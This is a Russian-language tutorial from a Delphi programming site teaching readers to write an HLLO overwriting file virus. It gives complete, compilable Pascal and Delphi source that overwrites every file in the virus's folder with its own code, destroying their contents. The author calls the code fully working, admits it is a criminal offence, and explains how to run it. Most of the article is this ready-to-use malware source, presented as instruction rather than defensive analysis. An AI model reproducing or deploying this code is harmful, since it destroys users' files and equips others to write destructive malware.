Четверг, 21.11.2024, 16:56 Приветствую вас Гость | Группа "Гости" 
Меню сайта

Категории раздела
Вирусология [40]
Статьи о вирусах
Системные [1]
Работа с системой
Примеры [45]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Шуточные программы [5]
Пишем шуточные программки
Остальное [6]
Всё что не вошло

Популярные статьи

Недавние темы

Опрос
Сколько вы занимаетесь программированием?
Всего ответов: 456

Главная » Статьи » Delphi » Вирусология

HLLO на Delphi и Pascal
HLLO на Delphi и Pascal (Урок 3). Наш первый вирус будет весьма глуп и прост, но достаточно показателен, исходные тексты в этой статье я буду приводить как на Delphi, так и на pascal. Так будет и, в следующих статьях о файловых вирусах на ЯВУ, кроме тех случаев, когда какой-то приём невозможно или трудно реализовать на одном из языков. О работе виря. Вирь при запуске будет искать все файлы в своём каталоге и перезаписывать их своим кодом.. В общем-то всё элементарно.. Так ведь? Переходим к реализации.
Процедура заражения файлов на Pascal будет выглядеть примерно так:
const
  VirSize = 6666;{Эта глобальная константа определяет размер вируса в чистом виде}

Procedure Infect(path:string);{Путь к заражаемому файлу}
var
  FromF : file;{Файловая переменная для файла источника}
  ToF: file;{ Файловая переменная для файла для заражаемого файла}
  NumRead : Word;
  Buf: array[1..VirSize] of Char;{Буфер для чтения виря и его записи, равна размеру виря, для переноса за один раз}
begin
  Assign(FromF, ParamStr(0)); {Ассоциируем переменную с путём к себе– т.е. себя))}
  Reset(FromF, 1);{Открываем себя}
  Assign(ToF, path); {Ассоциируем переменную с путём к жертве}
  Rewrite(ToF, 1);{Открываем с перезаписью жертву}
  BlockRead(FromF, Buf, SizeOf(Buf), NumRead);{Читаем себя в буфер}
  BlockWrite(ToF, Buf, NumRead);{Пишем буфер в файл}
  Close(FromF);{Закрываем себя}
  Close(ToF);{Закрываем жертву}
end;

Как видите всё просто как два пальца об асфальт. Теперь, то же самое только на Delphi.
const
  VirSize = 16384;

Procedure Infect(path:string);
var
  FromF : file;
  ToF: file;
  NumRead : integer;
  Buf: array[1..VirSize] of Char; //Буфер
  FM:word; //Переменная для сохранения FileMode
begin
  FM:=FileMode;//сохраняем FileMode
  FileMode:=0;//Режим работы с файлом - только чтение
  AssignFile(FromF, ParamStr(0));//Ассоциируем к с путём к себе
  Reset(FromF, 1);//Открываем себя
  BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
  CloseFile(FromF);//Закрываем себя
  FileMode:=2;//Режим работы с файлом - только запись
  AssignFile(ToF, path);//Ассоциируем с путём к файлу
  Rewrite(ToF, 1);//Открытие с перезаписью
  BlockWrite(ToF, Buf, NumRead);//Пишем буфер
  CloseFile(ToF); //Закрываем жертву
  FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;

Как видите, разница, в основном, только в небольшом отличие названий и необходимости работы с режимом обращения к файлу. Т.е. сначала открываем - только для чтения, а затем – только для записи.

Поиск дело нехитрое, т.б. мы его ведём только в своём каталоге, не вижу смысла разбирать его отдельно и провожу код HLLO вируса на Pascal уже в полностью готовом состоянии и с правильно подобранным параметром VirSize. Исходник рассчитан на компиляцию в Turbo Pascal 7.0 вес вируса составил без упаковки: 3408 байт, будем считать это нашим первым учебным вирусом:

uses dos;
const
  VirSize = 3408;{Эта глобальная константа определяет размер вируса в чистом виде}

Procedure Infect(path:string);{Путь к заражаемому файлу}
var
  FromF : file;{Файловая переменная для файла источника}
  ToF: file;{ Файловая переменная для файла для заражаемого файла}
  NumRead : Word;
  Buf: array[1..VirSize] of Char;{Буфер для чтения виря и его записи, равна размеру виря, для переноса за один раз}
begin
  Assign(FromF, ParamStr(0)); {Ассоциируем переменную с путём к себе– т.е. себя))}
  Reset(FromF, 1);{Открываем себя}
  Assign(ToF, path); {Ассоциируем переменную с путём к жертве}
  Rewrite(ToF, 1);{Открываем с перезаписью жертву}
  BlockRead(FromF, Buf, SizeOf(Buf), NumRead);{Читаем себя в буфер}
  BlockWrite(ToF, Buf, NumRead);{Пишем буфер в файл}
  Close(FromF);{Закрываем себя}
  Close(ToF);{Закрываем жертву}
end;

var
  sr:searchrec;{Специальный тип для поиска файлов}
  d:dirstr; {специальный тип для возвращения пути к папке файла}
  n:namestr; { специальный тип для возвращения имени файла }
  e:extstr; { специальный тип для возвращения расширения файла }
begin
  fsplit(paramstr(0),d,n,e);{раскладываем путь к себе на путь к папке, имя и расширение}
  findfirst('*.*',39,sr);{ищем файлы с любым именем, атрибутом и расширением}
  while doserror=0 do{Повторяем до появления ошибки, в нашем случае – больше нет файлов}
  begin
  if sr.name<>n+e then infect(sr.name);{если найденный файл не сам вирус, то заражаем, это нужно потому что программа DOS может, за нефиг делать, и себя перезаписать в запущенном состоянии и следующие найденные файлы вирус просто обнулит}
  findnext(sr);{Ищем следующий файл}
  end
end.{Конец}


Вот и весь вирус. В этих трёх десятках строчек находится вирус, вполне рабочий и подпадающий под 273 ст. УК РФ и под основные классификации угроз . Ну как и обещал, сейчас приведу исходник этого же гада, только на Delphi:
program hllo;
uses
  sysutils;
const
  VirSize = 42496;

Procedure Infect(path:string);
var
  FromF : file;
  ToF: file;
  NumRead : integer;
  Buf: array[1..VirSize] of Char; //Буфер
  FM:word; //Переменная для сохранения FileMode
begin
  FM:=FileMode;//сохраняем FileMode
  FileMode:=0;//Режим работы с файлом - только чтение
  AssignFile(FromF, ParamStr(0));//Ассоциируем к с путём к себе
  Reset(FromF, 1);//Открываем себя
  BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
  CloseFile(FromF);//Закрываем себя
  FileMode:=2;//Режим работы с файлом - только запись
  AssignFile(ToF, path);//Ассоциируем с путём к файлу
  Rewrite(ToF, 1);//Открытие с перезаписью
  BlockWrite(ToF, Buf, NumRead);//Пишем буфер
  CloseFile(ToF); //Закрываем жертву
  FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;

var
  SR : TSearchRec;{Специальный тип для поиска файлов}
  FR : INTEGER;
begin
FR:=FindFirst('*.*',faAnyFile-faDirectory,SR);{ищем файлы с любым именем, атрибутом и расширением}
while FR=0 do {Повторяем до появления ошибки, в нашем случае - больше нет файлов}
  begin
  Infect(SR.Name);{Заражаем}
  FR:=FindNext(SR);{Ищем дальше}
  end;
end.

Я думаю что аналогия с паскальным вирусов на лицо)) Хочу отметить, что если кому-то интересно проверить вирусы, для этого достаточно их откомпилировать и разместить в папку с любыми другими файлами, а после этого запустить вирь и убедиться что все файлы перезаписались его кодом. Так же обратите внимание на достаточно немалый размер вируса на Delphi – 42496 байт, не маленький такой вирёк, но это не так страшно, ведь после упаковки размер становится значительно меньше, но даже не в этом главная фишка. Дело в том, что на Delphi можно написать этот же вирус размером меньше чем на паскале (примерно 1,5-2кб) – при чем без упаковки.. Для этого нам придётся применить WinApi и несколько приёмов разработки, о которых вы узнаете уже в следующей статье рубрики.. Возможна та статья изменит ваше мнение о Delphi, как о громоздком языке ламеров;) Надеюсь кого-то эта статья заинтересовала, жду отзывов.

xakep.su
Категория: Вирусология | Добавил: dolphin (02.08.2008) | Автор: Женёк
Просмотров: 3854 | Рейтинг: 4.0/4

Всего комментариев: 0
avatar
Профиль



Поиск

Наша кнопка
Вирусология, взгляд из Delphi

Статистика
Top.Mail.Ru Яндекс.Метрика Счетчик тИЦ и PR
Статистика материалов
Файлов: 457
Форум: 1165/8118
Коментариев: 770
Новостей: 29

Статистика пользователей
Всего: 379
За неделю: 1
Вчера: 0
Сегодня: 0
Всего онлайн: 2
Гостей: 2
Пользователей: 0

delphicode.ru © 2008 - 2024 Хостинг от uCoz